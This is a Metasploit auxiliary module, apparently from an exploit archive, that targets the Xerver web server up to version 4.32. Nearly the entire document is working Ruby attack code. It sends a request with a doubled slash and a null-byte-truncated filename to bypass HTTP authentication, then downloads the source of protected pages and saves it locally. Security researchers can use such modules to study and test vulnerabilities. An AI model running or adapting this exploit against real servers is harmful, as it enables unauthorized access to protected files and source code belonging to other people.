Xerver 4.32 – Source Disclosure / HTTP Authentication Bypass (Metasploit)
# Exploit Title: Xerver Source Disclosure and HTTP Auth Bypass # Date: 01 Aug 2010 # Author: Ben Schmidt aka supernothing # Software: http://www.javascript.nu/xerver/ # Version: 4.32 and prior # Tested on: Windows XP SP3 # CVE: N/A ## # This file is derived from part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Xerver Source Code Disclosure/Download, Authentication Bypass', 'Version' => '$Revision: 1 $', 'Description' => %q{ This module exploits a source code disclosure/download vulnerability in versions of the Xerver web server up to and including version 4.32. It also incorporates an authentication bypass vulnerability that allows you to dump the source of files in HTTP auth protected directories as well. }, 'References' => [ [ 'CVE', '' ], [ 'OSVDB', '' ], [ 'BID', '' ], ['URL','http://spareclockcycles.org/2010/08/01/multiple-vulnerabilities-in-xerver-4-32/'] ], 'Author' => [ #Vulnerability discovered by: 'supernothing', #Module based on nginx source disclosure code by: 'Alligator Security Team', 'Tiago Ferreira <tiago.ccna[at]gmail.com>', ], 'License' => MSF_LICENSE) register_options( [ OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']), OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']), ], self.class) end def target_url "http://#{vhost}:#{rport}#{datastore['URI']}" end def run_host(ip) uri = datastore['URI'] path_save = datastore['PATH_SAVE'] vuln_versions = [ "Xerver/4.32",#Others definitely vulnerable, add as needed ] begin res = send_request_raw( { 'method' => 'GET', 'uri' => "//#{uri}\x00.txt", #extra forward slash for breaking password protection }, 25) if res version = res.headers['Server'] http_fingerprint({ :response => res }) end if vuln_versions.include?(version) print_good("#{target_url} - Xerver - Vulnerable version: #{version}") if (res and res.code == 200) print_good("#{target_url} - Xerver - Getting the source of page #{uri}") save_source = File.new("#{path_save}#{uri}","w") save_source.puts(res.body.to_s) save_source.close print_status("#{target_url} - Xerver - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) else print_error("http://#{vhost}:#{rport} - Xerver - Unrecognized #{res.code} response") return end else if version =~ /Xerver/ print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not vulnerable - Version #{version}") else print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not Xerver") end return end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end |